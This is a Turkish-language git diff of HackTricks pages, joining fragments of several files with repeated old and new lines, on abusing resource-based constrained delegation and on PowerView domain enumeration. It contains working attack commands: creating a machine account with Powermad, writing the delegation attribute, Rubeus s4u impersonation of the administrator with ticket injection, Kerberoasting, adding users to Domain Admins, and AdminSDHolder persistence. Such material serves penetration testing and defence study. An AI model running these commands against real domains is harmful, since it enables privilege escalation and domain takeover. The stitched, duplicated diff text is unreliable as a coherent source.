Bu yöntem, **Anahtarı Geçir** yaklaşımını yansıtır ve doğrudan kimlik doğrulama amaçları için biletin ele geçirilmesine ve kullanılmasına odaklanır. Bir TGT isteğinin başlatılmasının, varsayılan olarak RC4-HMAC kullanımını belirten `4768: Bir Kerberos kimlik doğrulama bileti (TGT) istendi` olayını tetiklediğine dikkat etmek önemlidir, ancak modern Windows sistemleri AES256'yı tercih eder.
Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdaki komut uygulanabilir:
```bash
@ -48,7 +48,7 @@ Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdak
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -57,9 +57,9 @@ Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdak
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunuza bakın
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,48 +2,50 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Kaynak Tabanlı Kısıtlanmış Delegasyonun Temelleri
Bu, temel [Kısıtlanmış Delegasyon](constrained-delegation.md) ile benzerdir ancak **bir nesneye herhangi bir kullanıcıyı temsil etme izni vermek yerine** nesne içinde **herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcıları belirler**. Kaynak Tabanlı Kısıtlanmış Delegasyon, **nesne içinde herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcıların adıyla bir özellik olan _msDS-AllowedToActOnBehalfOfOtherIdentity_ özniteliğine sahiptir**.
Bu, temel [Kısıtlanmış Delegasyon](constrained-delegation.md) ile benzerdir ancak **bir nesneye herhangi bir kullanıcıyı temsil etme izni vermek yerine** nesne üzerinde **herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcıları belirler**.
Bu Kısıtlanmış Delegasyon ile diğer delegasyonlar arasındaki önemli farklardan biri, **bir makine hesabı üzerinde yazma izinlerine sahip olan herhangi bir kullanıcının _msDS-AllowedToActOnBehalfOfOtherIdentity_ özniteliğini ayarlayabilmesidir** (Diğer Delegasyon biçimlerinde etki alanı yönetici ayrıcalıklarına ihtiyacınız vardı).
Bu durumda, kısıtlanmış nesne, herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcının adını içeren _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adında bir özelliğe sahip olacaktır.
Bu Kısıtlanmış Delegasyon ile diğer delegasyonlar arasındaki önemli farklardan biri, herhangi bir kullanıcının **makine hesabı üzerinde yazma izinlerine** sahip olması durumunda _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ özelliğini ayarlayabilmesidir (Diğer Delegasyon biçimlerinde etki alanı yöneticisi ayrıcalıklarına ihtiyaç duyulurdu).
### Yeni Kavramlar
Kısıtlanmış Delegasyonda, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının bir **S4U2Self** gerçekleştirmek için gerekliliği olduğu söylendi. Ancak bu tamamen doğru değil.\
Gerçek şu ki, bu değere sahip olmasanız bile, bir **hizmet** (SPN'ye sahip olan) olarak **herhangi bir kullanıcıya karşı S4U2Self** gerçekleştirebilirsiniz ancak, **`TrustedToAuthForDelegation`**'a sahipseniz dönen TGS **Forwardable** olacaktır ve bu bayrağa sahip değilseniz dönen TGS **Forwardable** olmayacaktır.
Kısıtlanmış Delegasyonda **`TrustedToAuthForDelegation`** bayrağının kullanıcının _userAccountControl_ değeri içinde olması gerektiği **S4U2Self** gerçekleştirmek için gereklidir denilmişti. Ancak bu tamamen doğru değil.\
Gerçek şu ki, bu değere sahip olmasanız bile, bir **hizmet** (SPN'ye sahip olan) olarak herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz ancak, **`TrustedToAuthForDelegation`**'a sahipseniz dönen TGS **Forwardable** olacaktır ve bu bayrağa sahip değilseniz dönen TGS **Forwardable** olmayacaktır.
Ancak, **S4U2Proxy** içinde kullanılan **TGS** **Forwardable** değilse, bir **temel Kısıtlanmış Delegasyonu** kötüye kullanmaya çalışmak **çalışmayacaktır**. Ancak **Kaynak Tabanlı kısıtlanmış delegasyonu** kötüye kullanmaya çalışıyorsanız, bu çalışacaktır (bu bir zayıflık değil, görünüşe göre bir özelliktir).
Ancak, **S4U2Proxy** içinde kullanılan **TGS** **Forwardable** değilse, temel Kısıtlanmış Delegasyonu kötüye kullanmaya çalışmak işe yaramaz. Ancak **Kaynak Tabanlı kısıtlanmış delegasyonu** sömürmeye çalışıyorsanız, işe yarayacaktır (bu bir zayıflık değil, görünüşe göre bir özelliktir).
### Saldırı Yapısı
### Saldırı yapısı
> Eğer bir **Bilgisayar** hesabı üzerinde **yazma eşdeğer ayrıcalıklarınız** varsa, o makinede **özel erişim** elde edebilirsiniz.
Saldırganın zaten **kurban bilgisayar üzerinde yazma eşdeğer ayrıcalıkları** olduğunu varsayalım.
1. Saldırgan, bir **SPN'ye sahip bir hesabı ele geçirir** veya bir tane **oluşturur** ("Hizmet A"). Not edin ki **herhangi bir** _Yönetici Kullanıcısı_ herhangi başka özel ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi (**_**MachineAccountQuota**_**)** oluşturabilir ve bunlara bir SPN ayarlayabilir. Bu nedenle saldırgan sadece bir Bilgisayar nesnesi oluşturabilir ve bir SPN ayarlayabilir.
2. Saldırgan, kurban bilgisayar üzerindeki **YAZMA ayrıcalığını kötüye kullanarak** kaynak tabanlı kısıtlanmış delegasyonu yapılandırır ve bu sayede Hizmet A'nın o kurban bilgisayar (Hizmet B) karşısında **herhangi bir kullanıcıyı temsil etmesine izin verir**.
3. Saldırgan, Service A'dan Service B'ye **özel erişime sahip bir kullanıcı** için bir **tam S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek için Rubeus'u kullanır.
1. Saldırgan, bir **SPN'ye sahip bir hesabı ele geçirir** veya bir tane **oluşturur** ("Hizmet A"). Herhangi bir _Yönetici Kullanıcısı_ herhangi bir diğer özel ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi** oluşturabilir ve bunlara bir SPN atayabilir. Bu nedenle saldırgan sadece bir Bilgisayar nesnesi oluşturabilir ve bir SPN atayabilir.
2. Saldırgan, **kurban bilgisayar üzerindeki YAZMA ayrıcalığını kötüye kullanarak** kaynak tabanlı kısıtlanmış delegasyonu yapılandırır ve bu sayede Hizmet A'nın o kurban bilgisayar (Hizmet B) karşısında herhangi bir kullanıcıyı temsil etmesine izin verir.
3. Saldırgan, Rubeus'u kullanarak bir kullanıcının **özel erişime sahip olduğu** bir kullanıcı için Hizmet A'dan Hizmet B'ye **tam bir S4U saldırısı** gerçekleştirir (S4U2Self ve S4U2Proxy).
1. S4U2Self (ele geçirilen/oluşturulan SPN hesabından): **Yönetici için bana bir TGS** iste (Forwardable değil).
2. S4U2Proxy: Önceki adımda kullanılan **Forwardable olmayan TGS**'yi kullanarak **Yönetici**'den **kurban ana bilgisayarına bir TGS** iste.
3. Forwardable olmayan bir TGS kullanıyor olsanız da, Kaynak Tabanlı Kısıtlanmış Delegasyonu kötüye kullanıyorsanız, bu çalışacaktır.
4. Saldırgan **bilet aktarımı** yapabilir ve **kurban Hizmet B'ye erişim kazanmak için** kullanıcıyı **temsil edebilir**.
3. Forwardable olmayan bir TGS kullanıyor olsanız da, kaynak tabanlı kısıtlanmış delegasyonu sömürdüğünüzden işe yarayacaktır.
4. Saldırgan **bilet aktarımı** yapabilir ve kullanıcıyı **temsil edebilir** ve **kurban Hizmet B'ye erişim** elde edebilir.
Alanın _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz:
```powershell
@ -53,7 +55,7 @@ Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select Ma
### Bir Bilgisayar Nesnesi Oluşturma
Alan içinde bir bilgisayar nesnesi oluşturabilirsiniz, [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
Etki alanı içinde bir bilgisayar nesnesi oluşturabilirsiniz [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -61,14 +63,14 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
# Check if created
Get-DomainComputer SERVICEA
```
### R**esource-based Constrained Delegation**'ı Yapılandırma
### R**esource-based Kısıtlanmış Delegasyon** yapılandırma
**activedirectory PowerShell modülünü kullanma**
```powershell
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**powerview Kullanımı**
**Powerview kullanarak**
```powershell
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
@ -99,13 +101,13 @@ Rubeus'un `/altservice` parametresini kullanarak sadece bir kez sorarak daha faz
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
{% hint style="danger" %}
Kullanıcıların "**Delegasyon yapılamaz**" adında bir özelliği bulunmaktadır. Bir kullanıcının bu özelliği True olarak ayarlanmışsa, onun yerine geçemezsiniz. Bu özellik BloodHound içinde görülebilir.
Kullanıcıların "**Delegasyon yapılamaz**" adında bir özelliği olduğunu unutmayın. Bir kullanıcının bu özelliği True olarak ayarlanmışsa, onun yerine geçemezsiniz. Bu özellik BloodHound içinde görülebilir.
{% endhint %}
### Erişim
Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve Yönetici'den kurban ana bilgisayarına TGS enjekte edecektir**.\
Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS istendi, böylece **C$**'ye erişebileceksiniz:
Son komut satırı **tam S4U saldırısını gerçekleştirecek ve Yönetici'den kurban ana bilgisayarına TGS enjekte edecektir**.\
Bu örnekte, Yönetici için bir TGS istendi, böylece **C$**'ye erişebileceksiniz:
```bash
ls \\victim.domain.local\C$
```
@ -115,12 +117,12 @@ ls \\victim.domain.local\C$
## Kerberos Hataları
* **`KDC_ERR_ETYPE_NOTSUPP`**: Bu, kerberos'un DES veya RC4'ü kullanmamak için yapılandırıldığı anlamına gelir ve siz sadece RC4 hash'ini sağlıyorsunuz. Rubeus'a en az AES256 hash'ini sağlayın (veya sadece rc4, aes128 ve aes256 hash'lerini sağlayın). Örnek: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KDC_ERR_ETYPE_NOTSUPP`**: Bu, kerberos'un DES veya RC4'ü kullanmamak için yapılandırıldığı anlamına gelir ve siz sadece RC4 hash'ini sağlıyorsunuz. Rubeus'a en az AES256 hash'ini (veya sadece rc4, aes128 ve aes256 hash'lerini) sağlayın. Örnek: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: Bu, mevcut bilgisayarın saati ile DC'nin saatinin farklı olduğu ve kerberos'un düzgün çalışmadığı anlamına gelir.
* **`preauth_failed`**: Bu, verilen kullanıcı adı + hash'lerin giriş yapmak için çalışmadığı anlamına gelir. Hash'leri oluştururken kullanıcı adının içine "$" koymayı unutmuş olabilirsiniz (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
* **`KDC_ERR_BADOPTION`**: Bu şunları ifade edebilir:
* Taklit etmeye çalıştığınız kullanıcının istenilen hizmete erişimi olmayabilir (çünkü taklit edemezsiniz veya yeterli ayrıcalığa sahip değildir)
* İstenen hizmet mevcut değil (örneğin winrm için bir bilet istediyseniz ancak winrm çalışmıyorsa)
* İstenen hizmet mevcut değil (örneğin winrm için bir bilet istiyorsanız ancak winrm çalışmıyorsa)
* Oluşturulan fakecomputer, zayıf sunucu üzerindeki ayrıcalıklarını kaybetmiş olabilir ve geri vermeniz gerekebilir.
## Referanslar
@ -130,7 +132,7 @@ ls \\victim.domain.local\C$
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -143,7 +145,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) takip edin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
</details>

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary><strong>A'dan Z'ye AWS hackleme konusunu öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR gönderin.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -52,7 +52,7 @@ Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Alan Bilgisi
### Alan bilgisi
```powershell
# Domain Info
Get-Domain #Get info about the current domain
@ -151,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Grup İlkesi Nesnesi - GPO'lar
Eğer bir saldırgan **yüksek ayrıcalıklara sahipse GPO üzerinde**, bunu **kullanarak ayrıcalıkları yükseltebilir**, bir kullanıcıya **izinler ekleyebilir**, bir yerel yönetici kullanıcı ekleyebilir veya bir eylem gerçekleştirmek için (hemen) **zamanlanmış bir görev oluşturabilir**.\
Daha fazla bilgi ve bunu nasıl kötüye kullanabileceğiniz hakkında [**bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
Bir saldırganın **bir GPO üzerinde yüksek ayrıcalıklara** sahip olması durumunda, bunu istismar ederek **bir kullanıcıya izinler ekleyebilir**, bir makineye **yerel bir yönetici kullanıcısı ekleyebilir** veya bir eylem gerçekleştirmek için (hemen) **zamanlanmış bir görev oluşturabilir**.\
Daha fazla bilgi ve bunu nasıl istismar edeceğiniz hakkında [**bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -186,7 +186,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
Öğrenin nasıl **GPO'lar ve ACL'ler üzerindeki izinleri sömürüleceğini**:
**GPO'lar ve ACL'ler üzerindeki izinleri nasıl sömürüleceğini** öğrenin:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
@ -282,13 +282,11 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### ÇEŞİTLİ
#### SID'i İsmine Çevirme
#### SID'ten İsme
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
Kerberoast, Active Directory'de bulunan Service Principal Names (SPN'ler) hedef alınarak kullanıcı hesaplarının hash'lerinin elde edilmesini sağlayan bir saldırı tekniğidir. Bu saldırıda, SPN'leri olan hesapların hash'leri alınarak offline olarak kırılabilir.
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
@ -319,18 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar gönderin [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>